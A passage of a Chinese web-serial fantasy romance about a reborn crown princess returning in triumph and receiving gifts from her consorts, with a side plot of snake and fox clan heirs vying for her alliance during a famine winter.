蛇族:狐族靖王怕不是脑壳有问题,怎么笑得这么傻?
狐族:王爷笑什么呢?有点傻……
感觉到落在自己身上奇怪的视线,涂山静不以为耻,反以为荣。
他挺了挺胸膛,对!就是这样的视线!万众瞩目的视线!
待他登上狐族储君之位时,落在他身上的视线只会更多。
“白渊,战场上见。”
涂山靖不屑地扫了白渊一眼,这么一个漂亮的柔弱男人在战场上能做什么?卖弄他的风骚吗?
白渊也就刚刚趁他不备,能逞逞威风,等真正上了战场,肯定不是他的一合之敌!
“本王定要斩下你的头颅,以祭我狐族战旗!”
白渊不知道涂山靖幻想了些什么,他只是感觉很讨厌突然进入在他身上的视线。
“呵。”
他冷笑一声以作应对。
他敢保证涂山靖就是一个自说自话的傻子。
若涂山靖真要出兵讨伐蛇族,恐怕不等蛇族出兵迎战,狐王第一个不会放过涂山靖。
涂山靖真是看不懂大局,如今十万雪山各个族群都是抱团取暖。
就算狐族是最强大的族群,但也不能无故对一个族群出兵,更何况出兵理由只是孩童之间的口角之争……
这理由并不正当。
若是真的以此为理由对蛇族出兵,那肯定会引起十万雪山中的其他族群惶惶不安,唇亡齿寒,她们大可联合在一起对付狐族。
到时候,狐族也会非常头疼。
现在,十万雪山正值危急的时刻,遇到了百年难得一遇的极寒天气,粮食作物都极难存活,收成不足去年的十分之一。
当务之急应该是提高自己种族的存活率,而不是穷兵黩武,攻打别的族群。
以上所述,就连他一个只喜欢冬眠的蛇都知晓其中厉害,涂山靖却不知,足以见得涂山靖就是一个脑子发育不全的智障。
“恭候。”
等等,似乎有什么一闪而过?
极寒天气,收成不足去年十分之一。
白渊笑了,阴柔漂亮的脸就像在阴暗环境中绽放的彼岸花,纵使被湿漉漉的水打湿了花瓣,仍旧漂亮得让人侧目。
本小章还未完,请点击下一页继续阅读后面精彩内容!他想,他似乎知道涂山烈绑一个人族老女人回去是做什么了……
他敢保证,绝对不是白畅对他说的那样:涂山烈是想找一个人族女人随意绑定成婚,以此来逃避和大凰太女的婚约。
白渊推测,涂山烈或许是想解除婚约,但狐族烈王此刻更想大凰储君一面。
毕竟十万雪山是因为地理位置特殊,有遭遇了极寒天气,作物难以存活。
但大凰可不一样,大凰地大物博,境内有不同的天气,自然也有耐寒的作物。
大凰的种植技术远远领先于十万雪山,或许涂山烈就是想借人族老女人得知大凰储君的下落,并和太女达成合作。
虽然他很不想当这个少族长,但他也不想成为十万雪山中孤零零的一条蛇。
现在想起来,似乎之前有一次醒过来时,族中族老对他说过如今严峻的形势。
或许,他可以效仿涂山烈,找大凰太女寻求合作,以度过蛇族这次极寒天气的危机。
白渊更知道,三人成虎,积毁销骨。
有些事传着传着,便愈发不可收拾,早就脱离了事情原本的模样。
所以,一切还要等他亲自去狐族见过涂山烈之后,才能下定论。
白渊理清了思绪,在心中暗道:
涂山烈,我的老对手,很期待和你见面。
“白畅,送客。”
涂山靖气得甩袖就走。
“本王自己会走,不劳蛇族少族长相送。”
一场闹剧在白渊打了涂山靖一拳后,自然而然沉寂了下去。
“少族长你好厉害呀,能不能教教我们!”
“对啊对啊,我也想学怎么才能打跑坏人!”
一群只有白渊膝盖高一点的萝卜头,围在白渊身旁,睁着亮晶晶的大眼睛,眼巴巴地说着好听话。
饶是白渊厌世倦懒,此刻也有些心软软。
“我只教你们一招。”
小萝卜头们不约而同地停下声音,异口同声地问道:
“什么招?”
白渊恶劣地露出虎牙,漂亮阴郁的脸显得越发美丽。
“跑!”
小萝卜头们不依不饶,想要求白渊教他们一招半式,却见白渊已经跑远了!
一个个气鼓鼓地在身后跺脚。
“哼,少族长怎么能这样?我们又不会偷学了他的招式后就离家出走。”
“就是,就是,我学了之后还可以保护少族长呢。”
“……”
蛇族的大人们毫不留情地嘲笑了小萝卜头们。
“你们还是乖乖地吃饭长大吧。”
一个个的,还没有少族长膝盖高,就想着保护少族长,真是有些天真的可爱。
白畅是第一个觉察到白渊逃跑动作的人,毕竟白渊在她面前逃跑过太多次。
准确地来说,不是逃跑,而是少族长的懒怠又犯了。
白畅生怕白渊又要回去冬眠,急忙追上去,在后面喊他。
“少族长,你等等,你要去哪里?等等我。”
白渊头也不回。
“跟上。”
白畅跟在白渊身后,这才发现白渊去的方向……似乎是狐族?
少族长去狐族做什么?
她心里虽然疑问,但也没有机会问出口,毕竟要跟上少族长的步伐就已经是费尽全力了。
等到白畅追上白渊,就发现白渊贴在一个窗户旁边的墙上,侧耳听里面的动静。
白畅环顾四周,这里似乎是狐族烈王的寝居。
“少族长,你来烈王房外干什么?”
白畅声音放得很轻,这是为了避免暴露行踪。
白渊满意地点了点头,这就是他愿意带着白畅的原因。
白畅这个人知情识趣,从不会给他带来额外的麻烦,就是这样的人才用着放心。
他指了指房中,示意让白畅听里面的对话。
却听里面突然传来一声厉喝。
“谁在外面?”
白渊无奈地摸了摸鼻子,死对头果然是死对头,还是一如既往地厉害。
他这是被发现了。
白渊半点没有被发现的羞耻,大摇大摆地掀开窗户,顶着涂山烈宛如杀人的视线带着白畅翻窗进屋,一脸坦然。
“烈王,合作如何?”
涂山烈不言语,身上威压迫人。
死对头对视一眼,不用多说什么,便明白彼此心中的想法。
“你想怎么合作?”
“很简单,同大凰太女的合作,我也想分一杯羹。”
“凭什么?”
“就凭蛇族能够拿出让大凰太女心动的交换物。”
涂山烈锐利的视线扫向白渊,显然是想起了蛇族的镇族之宝——一颗拳头大的红宝石。
红宝石晶莹剔透,宛如世间最纯净最华丽的血海浓缩而成。
从里面能看到极致的纯净和浪漫凄绝的血红。
以大凰太女喜欢奢华宝物的性子来看,还真有可能因为这个选择和蛇族合作。
“你怎么知道的?”
指的是涂山烈想找君羲合作的事情,白渊眼尾挑起阴柔的弧度,慢悠悠坐下,喝了一口茶。
“猜的。”
喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。
第134章 孤自会将阿景养回来
涂山烈和白渊是老对手了,都是千年的狐狸,一个是狐,一个是蛇,在房中不见血地厮杀。
白畅听得云里雾里,什么合作?她不知道啊?
不管了,反正听少族长的!
白渊和涂山烈都在打君羲的主意,此刻的君羲已经抵达玉京城了。
君羲看着阔别快一月的玉京城,城还是那座城,她在这座繁华的城面前却有一种历经沧桑的感觉。
玉京城东门前,俊美健硕的白马上,坐着一个英姿飒爽的银甲女将军,正是她们凯旋的太女殿下!
前来接风洗尘的文武百官和百姓们激动万分,眼眶隐约有了泪意。
君羲打马进了城门,有种和上一世命运擦肩而过的宿命感。
上一世,她的送葬队伍就是从这个城门出玉京城,她的尸体也是从这出城门被一辆马车偷运出去,丢弃在乱葬场。
君羲深吸一口气,这一世,她绝不会重蹈覆辙!
“孤回来了!”
玉京城中的文武百官以及百姓早就知道君羲要回来的消息,文武百官穿着最隆重朝服,前来迎接。
两侧则是夹道欢迎的百姓,他们都在高兴,高兴大凰储君打了一个漂亮仗!
还将大凰版图扩大了!
她们曾经听说倭寇国境内有许多珍稀的贝类、宝石……
以后,她们是不是可以没有后顾之忧地交易了?毕竟,以后便是大凰的领土了!
一想到这儿,她们便为大凰有这么厉害的储君感到骄傲!
“太女殿下千岁!”
“太女殿下千秋万代!永垂不朽!”
“太女殿下威武!”
“……”
这才是上一世英明神武,受百官爱戴、被万民敬仰的羲和女帝该享受的待遇!
君羲总算靠这一次亲征给自己打了个漂亮的翻身仗,她在慢慢刷新百姓们对他的印象。
君羲要用实际行动告诉她们,她不再是那个人人惧怕、能止小儿液体的大凰暴君。
她刚想抬手同前来迎接的百官和百姓们打个招呼——
便猛然打了三个喷嚏!
“阿嚏、阿嚏、阿嚏!”
场面有一瞬间的凝固,君羲嘴角的笑僵硬了。
怎么回事?怎么突然打了这么多个喷嚏?难不成是有人在惦记自己?
转瞬,场面又热闹起来。
打喷嚏怎么了?说明他们太女殿下辛苦了!
当然,也有可能是因为他们想太女殿下了。
太女殿下如今回到玉京城,他们才算有了主心骨,文武百官齐齐行了叩拜礼,山呼海啸一般的气势。
“臣等恭迎太女殿下凯旋,太女殿下千岁、千岁、千千岁!”
围观的民众也被叩拜的文武百官带动情绪,自发地跪下朝拜。
“太女殿下千岁、千岁、千千岁!”
如此一来,便成功地化解了刚刚打喷嚏的尴尬情况。
君羲平息了下呼吸,确保自己不会再出现打喷嚏的尴尬状况后,冷肃的声音尽显大凰储君威严。
“平身。”
顾青颖站在文武百官前列,身侧跟着顾景行。
母子俩仰头看向高头大马上的君羲,只觉得,如今的太女殿下和记忆中的暴戾储君大不相同了。
“妻主,侍身恭贺妻主凯旋。”
君羲微微垂下眼眸,看向自己的正夫,脸色还算康健,只是略微清瘦了些。
想必,这些日子里没少替她操劳。
她利落翻身下马,行走间虎虎生风,不消一个呼吸的功夫,便站到顾景行面前。
君羲解下身上的黑狐披风,披在顾景行身上。
“阿景,这些日子……辛苦你了。”
顾景行不知为何,鼻头有些发酸,险些没忍住眼眶中的泪意。
他连忙侧过头,深吸了一口气,才正视女人担忧的眼眸。
“殿下在前线杀敌才是真正的辛苦,侍身这点小事不算什么的。”
君羲抬手轻抚顾景行清减了两分的脸,心疼了。
“瘦了。”
顾景行感受到女人抚在脸侧的温度以及不加掩饰的担忧语气,眼眶中的泪终究是没忍住。
一滴清泪从眼角滑落,顺着脸颊流下,流在女人轻抚在他脸侧的手上。
他声音带着微微的哽咽。
“殿下,侍身有听你的话,乖乖吃饭。”
只是……他偶尔在深夜时,会担心君羲的情况,不知不觉变没了胃口,哪怕一日三餐都正常吃,也消瘦了几分。
君羲浅笑。
“没关系,孤自会将阿景养回来。”
……
君羲凯旋后,在玉京城中接受了文武百官以及百姓们的接风洗尘,纵然心中欢喜,但避免不了的有些疲惫。
回到东宫,她便带上顾景行回了霁月殿。
为了赶时间前往岚州,亲自督促三州雪灾赈灾事宜,今夜便要举办犒赏三军的庆功宴。
作为惯例,顾景行身为她的正夫,会跟同君羲一同出席。
溟汐知道这个不幸的消息时,一口银牙都快咬碎了!
也就是这时,他才会恨自己为什么不是正夫?若他是正夫……便能正大光明地跟在妻主身旁。
这章没有结束,请点击下一页继续阅读!但转念一想,顾景行已经有多日未曾见过妻主。
而他在这一月内,几乎日日陪在妻主身旁,有过许多温馨幸福的时刻,他就大度一次吧。
顾景行对溟汐算得上好,溟汐猜测,或许是顾景行自发认为他们是同病相怜之人,都是被君羲强娶豪夺回东宫的……
溟汐无聊地躺在海月阁内的大床上,天马行空地胡思乱想。
没有妻主的陪伴,好、无、聊。
霁月殿中。
顾景行心中纵使想念君羲,但她们真正相处的时光并不算多。
面对阔别已久的妻主,他一时间不知道该怎么相处。
他明明有好多话想同君羲说,却又不知该从何说起。
君羲坐在房中的太师椅上,抬手轻揉太阳穴,多日的奔波加上今日应对朝堂上文武百官以及百姓们,让她感到有些疲惫。
顾景行放轻脚步,走到君羲身后,葱白如玉、骨节分明的手按上女人的手。
君羲仰头看顾景行。
“阿景?”
顾景行轻轻笑笑。
“妻主,侍身有学过按摩,不如让侍身来替你缓解疲劳?”
君羲收回手,在男子手背上拍了拍。
“好啊,那便劳烦阿景了。”
顾景行被女人调侃的眼神看得耳根发红,但他强作镇定,一下又一下地替君羲按摩着头部的穴位。
“唔……舒服。”
不得不说,顾景行真有一把刷子,君羲舒服地眯起眼,就像一只被撸舒服的猫。
顾景行被这样的想象可爱到了,没忍住轻笑出声。
君羲抬眸问他。
“阿景,你在笑什么?是不是在笑孤?”
顾景行摇了摇头。
“没有,侍身怎么敢?”
君羲头部的疲劳缓解了,此刻也有心情同顾景行打趣了。
“怎么不敢?孤给你敢的特权。”
喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。
第135章 孤保证不偷看
君羲同顾景行打闹了片刻,在男人舒适的按摩力道下不知不觉靠在椅背上睡着了。
“妻主?”
由于位置的原因,顾景行并没有在第一时间察觉君羲已经睡着了,他又试探性的喊了一声。
“阿羲?”
还是没有回应。
顾景行渐渐停下手中按摩穴位的动作,抬步走到君羲面前,垂眸打量,才发现女人窝在椅子上睡得香甜。
也只有君熙睡着了,顾景行才敢释放自己心中最真实的情绪。
他看着眼前这张绝美无双的脸,心里的思念如同野草一样疯长,短短片刻便填满了整个心房。
“这些日子一定很累了吧”
顾景行低声呢喃出声。
男人心疼地伸手去轻抚女人眼脸处清晰可见的青黑。
顾景行怕君羲在椅子上窝着睡得不舒服,犹豫了片刻,还是伸手轻柔地将女人打横抱起,稳稳地放到床榻上。
细心地给君羲拆去头上的发冠,卸掉身上的铠甲,用热水给君羲简单地擦拭了一下身子,然后给女人盖上薄被。
忙活完,顾景行这才坐在床头凝望这张在梦中无数次梦到的脸。
他不由地想,他明白自己对君羲的心意实在是有些太迟了,如今君羲身旁已经有太多人。
顾景行还记得站在母亲旁边迎接君羲旋时的场景,女人坐在高头大马上英姿飒爽,与她并驾齐驱的是一个银发碧眸的绝美鲛人。
正是他之前认为和自己同病相怜的鲛人溟汐。
鲛人溟汐,曾因为与人族截然不同的空灵美貌受宠过两三天,后被君羲厌倦后打入地牢。
顾景行还给溟汐求过情,只是君羲放话。
“任何人不得给鲛人溟汐求情,求情者,与溟汐同罪处理。”
他这才作罢,他还以为溟汐会被关在地牢里一辈子,至死都不能出来。
没想到……
反转这么快就来了,君羲不止亲手将溟汐抱出地牢,还给了他无限的宠爱。
甚至这次御驾亲征也带上了溟汐,足以见在君羲心中,对溟汐是多么的看重。
大凰自古以来,行军打仗就没有男子参军的说法。
君羲一定很喜欢溟汐吧?
男人想到这周身的气压突然变得丧丧的,连带着床榻上的君羲也察觉到了什么似的,眉心微皱,睡得不太安稳。
顾景行收敛心中伤感的情绪,抬手将女人微皱的眉心轻轻抚平。
他不求君羲现在对足迹有多特别,只希望君羲能够在看到他的心意后,对他也能有一点点的喜欢……
顾景行看了看天色,给君羲准备的庆祝礼物还差最后一步便能完成,想到这儿,他最后看了一眼君羲的脸,转身出去。
待到庆功宴即将开始时,他会前来喊君羲起床,然后同君羲一同赴宴。
大皇太女身为富有四海,天下奇珍尽归皇宫,什么稀罕事物没有见过?
顾景行准备的庆祝礼物不在于多精美华贵,而在于心意难得。
君羲最喜欢用的武器是剑,恰巧顾景行曾经意外得到过一块儿天外陨铁。
天外陨铁用来制造武器,削铁如泥、锋利无比。
但是这块儿天外陨铁却不是用来做兵器,而是被顾景行提供给铸剑大师制成剑鞘……
如今,只差刻上他们二人的姓氏。
“公子,你来了?快来刻字吧,就等你了。”
顾景行浅笑着微微颔首,算作打招呼,看向眼前这造型简单、古朴却不失尊贵的剑鞘,心中满意。
“刻刀。”
铸剑大师递上刻刀,便见男人在剑鞘预留的位置上刻上“顾君”二字。
顾景行送这件礼物其实有私心,若说君羲像一把锋芒毕露的宝剑,想要横扫仇敌,登上至高尊位,那……
他便想做能够让君羲暂时收敛锋芒的剑鞘。
剑和剑鞘,绝配。
一旁的铸剑大师剑看剑鞘在顾景行手中最终成形,却是心疼地连连摇头,真是暴殄天物!
他原本看到这块天外陨铁时喜出望外,已经在脑海中构思好要如何利用它打造一把绝世神兵。
却没想到,眼前的男人只是想用天外陨铁打一个朴实无华的剑鞘!
真是太可惜了……
顾景行可不觉得可惜,天外陨铁能被制作成剑鞘送给君羲,他便觉得物超所值。
更何况,还是这么有意义的浪漫礼物!
顾景行完成刻字,让铸剑大师再次加工,待拿到最终成型的剑鞘,越看越满意。
希望君羲能够喜欢他送的礼物,并且在以后每一次出征时,都能够戴上这柄剑鞘,收敛君羲用于征战厮杀的宝剑。
就好像……
他与她同在一样。
铸剑大师见顾景行不知想了什么,脸色越来越红,她有些担心顾景行削薄的身板不适应不适应铸剑房中高热的温度。
“公子,是太热了吗?你的脸怎么这么红?”
顾景行这才发现自己居然脸红了!
他顺着铸剑大师给的梯子就下。
“是啊,是铸剑房太热了,我……剑鞘既然制作好了,师傅您便可以休息一段时间了,我先行一步。”
本小章还未完,请点击下一页继续阅读后面精彩内容!顾景行乱七八糟地解释了一通,没注意铸剑大师愈发怀疑的眼神。
他沉浸在自己的思绪里。
今晚是庆功宴,剑鞘便会被他送给君羲。
顾景行已经迫不及待想知道君羲收到礼物时,会是怎样的表情了。
会不会很惊喜?然后抱抱他……
意识到自己在想什么,顾景行脸色愈发的红了,像熟透的红番茄一样。
铸剑大师还来不及说什么,顾景行便拿着剑鞘逃跑似的走了。
“现在的年轻人真是,做事着急忙慌的,一点定力都没有。”
铸剑大师摇了摇头,慢条斯理地整理好住铸剑房的器物,这才晃悠悠地出门去。
她准备找三两好友喝点小酒,吃着小菜享受闲适时光。
另一旁,顾景行拿到剑鞘后,立刻吩咐驾驶马车的车夫加快速度赶回东宫。
君羲如今给顾景行的权利很大,他可以拿着君羲给他的令牌,随时出入皇宫。
这在以前,根本是顾景行想都不敢想的事情,如今却是稀松平常。
这样看来……
君羲真的算得上是一个好妻主,毕竟,大凰女尊男卑,夫郎若是想出门,必须得到妻主的允许。
若是妻主执意将夫郎关在后院中,不许出来,那夫郎可能会终身被关在后院中,干枯等死。
君羲睡了好长好长的一个觉,只觉得从浑身舒坦了。
她自己都没察觉到,在顾景行、溟汐王权不弃、慕夜声他们面前,君羲总是安心地睡得很熟。
其实君羲心中早就对他们卸下了心房,给予了夫郎们足够的信任。
“阿景?”
君羲醒来后,发现顾景行不在房中。
她起身,利落地收拾好自己。
君羲这人便是这样,只要心中有事,就会时刻挂念着,无论睡得多熟,在约定的时间,他就会醒过来。
等顾景行抱着一个精美的长木匣走进霁月殿,女人坐在八仙桌前,斜倚着头,似笑非笑盯着男人。
“阿景,你做什么去了?孤醒来没有看到你……”
乍一听,似乎有些愤怒,但仔细听,便能察觉到女人声音中的委屈。
顾景行也不知怎的,就像被蛊惑了一般,他上前摸了摸君羲的脑袋,就像安抚小宠物一样安抚她。
“阿羲,我给你礼物去了。”
礼物?
顾景行居然给自己准备了礼物!
君羲心里实在有些好奇,但那礼物被封在长木匣里严严实实的,顾景行会给她准备什么礼物呢?
君羲这么想,也就这么问了。
“阿景,孤能现在就看看……是什么礼物吗?”
顾景行闻言,死死抱住怀中狭长的纸盒,拼命摇头。
“不行,不可以。”
君羲肉眼可见的不开心了,刚刚还雀跃的神色变得闷闷不乐起来。
怎么像小孩子一样?
“待会儿庆功宴上,我会献给阿羲礼物,提前知道,就没什么惊喜可言了。”
君羲试图忽悠顾景行给她提前看礼物,凤眼眼尾上调的弧度都带着蛊惑的意味。
“孤会喜欢的,无论阿景送孤什么礼物,孤都很喜欢。”
顾景行险些迷失在女人蛊惑的神色和甜言蜜语的冲击中,好在他最终还是坚守住了意志。
他抱着狭长的木匣往后退了三步,摇头。
“妻主,真的不可以,难道你连这点时间都等不了吗?那侍身可要伤心了。”
顾景行都这么说了,君羲只能讪讪作罢。
她其实也没那么好奇礼物究竟是什么……
才怪!
这件事上得不到满足,自然得从另外的事上讨回来。
君羲想到之前溟汐发热期时,带她去南海深处准备的那些衣服……心中一动。
“阿景,既然这个礼物不能提前给孤看,那能不能给孤一个小小的礼物?”
“妻主自助想要什么?”
君羲朝顾景行招了招手,顾景行将怀中抱着的狭长木匣紧了紧,这才靠近君羲,微微弯腰,凑在女人唇边。
“阿景,孤给你准备了衣服,庆功宴结束,晚上穿给孤看可以吗?”
顾景行心里松了口气,这么简单?
“当然可以。”
他一口答应一下,只要君羲放弃提前看他准备的礼物的想法,什么都可以。
殊不知,晚上,他看到了那套衣服后,悔得想将一口答应了的自己打死。
“阿景,你快换好衣服,同孤一同赴宴吧。”
顾景行抱着狭长的木匣走进内室,君羲看得哭笑不得。
“阿景,你就将木匣放在八仙桌上,孤保证不会偷看。”
谁知,顾景行却抱着木匣走得更快了,颇有一副他在哪,木匣便要在哪的架势。
君羲心里痒痒:可爱,想睡。
喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。
第136章 别皱眉
由于是庆功宴,所以身为储君和储君正夫,君羲和顾景行二人都穿得比平日要隆重。
二人均身穿玄黑色锦缎银色龙凤暗纹锦袍,由于玉京城地势偏北,天气寒冷,所以二人还穿了同款的墨色披风。
君羲和顾景行都是典型的冷白肤色,上好的墨色狐皮毛领衬得二人肤色欺霜赛雪,乍一看,缓缓走来的男女宛如画中的神仙眷侣。
溟汐早早便穿了一身蓝色华服坐在宴席上,望眼欲穿。
他觉得自己都快坐成一尊雕像了,还没有等到君羲到来!
君羲和顾景行到底在霁月殿中做什么呢?磨磨蹭蹭这么久,还没到!
哪像他,早早地便收拾好了自己,来到庆功宴上。
实际上,溟汐心中清楚,他只是没有君羲陪在身旁,无聊得快要长草了,只好先行来到庆功宴,等君羲出现。
这样,他心中才有盼头,时间也能过得快一些。
谁知,左等右等,文武百官都来齐了!还迟迟没有见到君羲和顾景行的身影,溟汐这才有些急了,难不成妻主和顾景行……
他们……
溟汐不敢深想下去,他怕自己嫉妒得发疯,会丧失理智冲到霁月殿,将女人抢回来。
他努力地压抑自己内心疯狂的想法,不能这么做,君羲身旁会有许多旁的男人,只要妻主心中有他便足够了。
溟汐照样在心中对自己说了数遍,才勉强压制住了心里想冲到霁月殿将女人抢回来的想法。
终于!
在文武百官和溟汐的翘首以盼下,二人携手走来。
顾景星玉树临风。君兮花姿玉色。
一男一女都是这世上一等一的美貌,走在一起,就连溟汐也不得不承认,养眼极了。
尤其,顾景行身为君羲正夫,有资格同君羲坐在最上首,而他却只能坐在这下首,暗戳戳地看着他们二人举手投足间的甜蜜氛围!
溟汐暗暗咬牙,碧眸中的寒意更盛。
若是寒意可以化作实质,那君羲和顾景行早就被溟汐源源不断的寒气视线冻成冰块了。
此刻是庆功宴,并不是一个说话的好时机。
君羲感觉到溟汐寒冷的视线,往下手一看,便看到某鱼嫉妒地咬嘴唇,嘴唇都咬破了……
她当即不再那么肆无忌惮地同顾景行互动,端起桌上的酒杯,举杯示意。
“诸位,此次御驾亲征,荡平倭寇国,护得漾州、绥州百姓安居乐业……”
“此战,溟汐当居首功!”
“凤羽军将士奋勇杀敌,顾爱卿和以众爱卿在后方支持,都有功!”
在下首将士们和百官期待的眼神中,君羲不负众望地下达按功行赏的口谕。
“既有功,那就该赏!孤将按照功劳簿上所记功劳大小,分为不同等级进行嘉奖。”
君熙的赏赐很大方,不是宅院便是土地,唯独没有金银和粮食。
但得到嘉奖的将士和百官们都高兴不已,一个个恨不能喝得不醉不归,但都碍于君羲在场,不敢放肆。
但面上都是喜笑颜开,春风得意。
“臣等谢太女殿下隆恩,太女殿下千岁,千岁,千千岁!”
君心仰头将手中的杯酒,一饮而尽。
“诸位,喝酒!”
庆功宴上,觥筹交错,推杯换盏。
君羲神色不明,一杯接一杯,喝着顾景行递过来的酒。
大凰境内存粮不多,岚州、钦州、蔼州三州雪灾严重,粮食肯定要先紧着受灾的三州。
而百官呢……
有君羲坐在上首,都不敢放开了吃,喝。
顾景行坐在君羲身旁,感受到女人担忧的情绪,默默地去捏女人握住他的手。
“妻主,侍身相信,以你的能力肯定能完美解决岚州、钦州、蔼州雪灾。”
“大凰境内,一切都欣欣向荣,殿下功不可没。”
顾景行避开君羲伸手来端酒的手,握住。
“所以……别皱眉。”
君羲从男人握住她的大手中汲取到温暖的力量,心中宽慰了些许。
是啊,她现在担忧,着急也没有用。
君羲是人,不是神,没有三头六臂,事情得一件一件地去做。
如今,再担忧也无济于事。
必须得将玉京城中的所有后患全都解决,才能无后顾之忧地去岚州解决雪灾。
她有些着想了,还不顾景行看得分明、清楚、明白。
“阿景,谢谢你。”
顾景清此时正细心地给女人剥螃蟹,手精巧地按工序剥开一整只螃蟹,看得君兮啧啧称奇。
像她这个大老粗,只会生掰直接啃……
哪像顾景行——她的正夫,这般优雅?
“妻主,侍身同殿下是夫妻,夫妻之间,不必如此客气。”
君羲心满意足等着顾景行的投喂,真心实意地展颜一笑。
上一世和这一世,她做的最正确的决定便是看中顾景行做正夫,不择手段、强取豪夺也要将人留在自己身旁。
君羲视线锁在顾景行身上,越看越觉得男人好看,每一处都长在她心巴上……
本小章还未完,请点击下一页继续阅读后面精彩内容!她学着男人剥蟹,笨拙、暴力地拆开一只螃蟹。
君羲看着被拆得一团糟的螃蟹,有些手足无措,最终在男人好笑的目光中挑了一块儿完好的蟹肉,送到男人的唇边。
“阿景,你也吃,别只顾着给孤剥。”
顾景行顺从地吃下君羲特意给他剥的蟹肉,心里的甜蜜都快溢出来了。
原来,爱上君羲,是这么一件幸福的事。
君羲一边投喂顾景行,一边让文武百官不要拘谨。
“诸位,只当是一场寻常家宴。”
纵然君羲这么说了,但底下的人还是不敢放开谈论。
“是。”
君羲知道,只要他在这里,底下的人便放不开。
君羲此刻感受到了投喂男人的兴趣。
她霸道地没收了男人面前的所有餐具,让身后侍奉的男侍收起来,二人的桌面上只剩下君羲的一套餐具。
君羲在男人恼羞成怒的视线下,慢悠悠地挑选着她认为好吃的饭菜,送到男人的唇边,看着男人吃下,还时不时夸奖几句,诸如……
“阿景真乖。”
“阿景,你吃饭的样子怎么也这么好看啊?”
“阿景,你怎么这么瘦呀?该多吃一些,补补身体~”
“……”
女人的嗓音软软的,像蜜。
这可是在庆功宴上啊!
顾景行被君羲撩得头顶快冒烟了。
“坏妻主!坏羲羲!只顾着秀恩爱,完全把我忘记了!”
君羲和顾景行在上面妇唱夫随,恩爱无比,底下的溟汐却是看得眼睛冒火。
有一条鱼快碎了,君羲却无瑕分身去管。
铛!铛!铛……
筷子被溟汐当枪使,在盘子中使劲儿地戳戳戳。
整个庆功宴上,溟汐就喝了君羲举杯的那一杯酒,旁地什么都没吃,只顾着嫉妒,饭桌上的饭菜当成情敌戳戳戳了。
不行,再看下去,他就要发疯了!
溟汐决定做些什么。
“殿下,此次殿下凯旋,文武百官及百姓们准备了礼物,是否现在查看?”
终于到了君羲最感兴趣的收礼物环节!
君羲还心心念念惦记着顾景行下午时给她准备的礼物,她眼神一亮,迫不及待回应了溟汐的话。
“阿汐言之有理,此刻便开始献礼。”
溟汐说完这话虽然成功转移了君羲的注意力,但此刻他更不开心了怎么办?
原因是君羲在说话时,眼神一直粘在身侧的顾景行身上,就好像在期待着什么一样!
溟汐暗暗咬牙,不会再有人比他送的礼物更出彩,他可是费尽了心思的!
这份礼物他早就开始准备了,君羲一定会非常喜欢的,他可是很用心的在准备呢。
文武百官早在君羲出征之前便准备好礼物了,无论此次君羲御驾亲征是成功还是失败,等太女回京,这份礼物都要送出去。
若是凯旋,那便是庆功礼物,若是战败,那便是安慰礼物。
总之,礼物是必不可少的。
旁的礼物君羲都不期待,她对顾景行道:
“阿景,你第一个。”
君羲亮晶晶的期待眼神成功取悦到了顾景行,他发现记忆中的暴戾横行的太女现在变得好可爱。
男人不由得更加心动,他转身回了一句。
“侍身遵命。”
然后便侍手中捧着的托盘上的手帕擦了擦嘴,他整理了衣襟,这才款款站起来。
“太女夫,木匣。”
顾景行接过一旁贴身男侍手中的狭长木匣,端端正正,双手奉上。
“侍身恭贺太女殿下凯旋,这便是师生给妻主准备的礼物,希望殿下能够喜欢。”
君熙先是将男人扶起来,没骨头似的靠在男人胸膛,迫不及待地拿起狭长木匣打开。
她被里面古朴却不失贵重奢华的剑鞘吸引了全部的视线。
君羲上一世和这一世见过不少宝物,一眼便看出这个剑鞘的制作原料珍贵罕见,很有可能是传说中的天外陨铁!
但,上一世顾景行怎么没给她准备呢?
上一世,顾景行都愿意为了君羲赴死了,怎么可能舍不得天外陨铁?
君羲百思不得其解,但此刻,思考这些并没有意义。
她只需要知道顾景行全心全意为她,连天外陨铁都舍得拿出来给自己做剑鞘就足够了。
君羲爱不释手地把玩着剑鞘,这才发现上面有一块儿方形的小地方,上面刻了两个字——“顾君”。
字迹是君羲熟悉的,她端详了一会儿,看向身侧的顾景行。
“阿景,这是你亲手刻的字吗?”
“嗯。”
原来顾景行下午不在霁月殿中,便是去刻字了呀!
一切都想通了,君羲伸手在顾君二字上摩挲。
“阿景,孤很喜欢你送的礼物。”
“顾君”二字更是有着美好的寓意,既是顾景行和她的姓名缩写,也有照顾、爱顾君羲之意。
君羲挑了一个旁人看不到的角度,微不可见地在男人胸膛上蹭了蹭。
“阿景,你放心,孤以后无论去任何地方征战,都会带上你送我的剑鞘。”
“你就是唯一能够收让我收敛锋芒的剑鞘。”
君羲不是说假话,她是真的很喜欢天外陨铁制成的剑鞘!
当即便拿起一旁的宝剑,换上剑鞘,满眼欣赏地左看右看。
“殿下,还有别的礼物呢。”
喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。
第137章 今晚去谁房中?
溟汐是半点也看不下去了!
君羲怎么就那么喜欢那个破剑鞘啊?看上去灰朴朴的,一点也没有宝石华丽!
不符合鱼的审美!
“殿下。”
君羲听到了溟汐的声音,这才勉强将自己的视线从剑鞘上移开。
她看向下首的溟汐,就知道可把某鱼给气坏了。
君羲收敛脸上不值钱的笑意,决定先安抚一下鲛人,免得溟汐吃醋太过,晚上折腾她,苦的还是自己啊。
她可不想一直在哄男人的路上狂奔……
“咳、咳,阿汐,你给孤准备了什么礼物啊?”
完全就是一副哄小孩儿的语气,但溟汐却很受用,妻主的视线终于落在自己的身上了!
他施施然站起身来,确保自己能以一个最完美、最好看的姿势走到君羲面前。
他从怀中拿出一个木匣,木匣上面点缀着珍珠和贝壳,非常华丽,和顾景行送的木匣是两个极端,一看便是某鱼的审美。
君羲忍俊不禁。
“既然阿汐准备好了,那便呈上来孤瞧瞧。”
溟汐之前一直幻想着君羲会很喜欢他送的礼物,此刻真到了献礼的时候,他却有些紧张……
怕君羲怪他自作主张,生他的气。
但他是真的想这么做!
他不需要漫长的寿命,尤其是自己的寿命比君羲长……
若是君羲不在了,他也不想活了。
